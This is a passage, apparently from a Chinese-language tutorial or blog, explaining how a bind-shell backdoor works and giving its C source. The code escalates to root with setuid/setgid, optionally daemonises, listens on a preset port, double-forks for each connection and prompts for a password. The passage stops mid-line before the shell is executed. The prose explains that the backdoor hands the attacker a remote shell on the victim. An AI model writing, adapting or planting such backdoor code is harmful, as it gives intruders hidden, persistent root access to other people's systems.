该程序实质是一个简单的socket编程,在受害方上运行攻击代码(后门进程),通过socket打开一个预设端口,并监听,等待攻击方的链接。一旦攻击方通过网络链接工具试图链接该socket,那么后门进程立刻fork一个子进程来处理链接请求。处理请求的行为即用exec函数打开一个shell来代替本子进程,并将本进程的标准输入、输出、出错文件描述符重定向到该套接字上,这样就实现了攻击方远程得到了受害方的一个shell。
int main(int argc, char **argv) { int i, listenfd, connfd; /*listenfd为主进程监听的套接字,connfd为TCP连接后的套接字*/ pid_t pid; char buf[MAXLINE]; socklen_t clilen; struct sockaddr_in s_addr; struct sockaddr_in c_addr; setuid(0); /*为了保险,我们将通过setuid函数使得程序以拥有者身份的权限运行*/ setgid(0); seteuid(0); setegid(0); // daemon(0,0); /*通过daemon函数可以把本程序从终端设备下脱离出来变成守护进程,如果系统启动时加载本程序就无需这个函数*/ listenfd = socket(AF_INET,SOCK_STREAM,0); /*创建套接字*/ if (listenfd == -1){ printf("socket failed!"); exit(1); } bzero(&s_addr,sizeof(s_addr)); s_addr.sin_family=AF_INET; s_addr.sin_addr.s_addr=htonl(INADDR_ANY); s_addr.sin_port=htons(PORT); if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){ printf("bind failed! "); exit(1); } if (listen(listenfd, 20)==-1){ /*监听套接字*/ printf("listen failed!"); exit(1); } clilen = sizeof(c_addr); while(1){ connfd = accept(listenfd, (struct sockaddr *)&c_addr, &clilen);/*等待攻击者发起链接*/ pid = fork(); /*创建子进程*/ if(!pid) { if((pid = fork()) > 0) /*创建孙进程*/ { exit(0); /*子进程终结*/ }else if(!pid){ /*孙进程处理链接请求*/ close(listenfd); /*关闭除要处理的套接字外的所有描述符*/ write(connfd, ENTERPASS, strlen(ENTERPASS)); memset(buf,'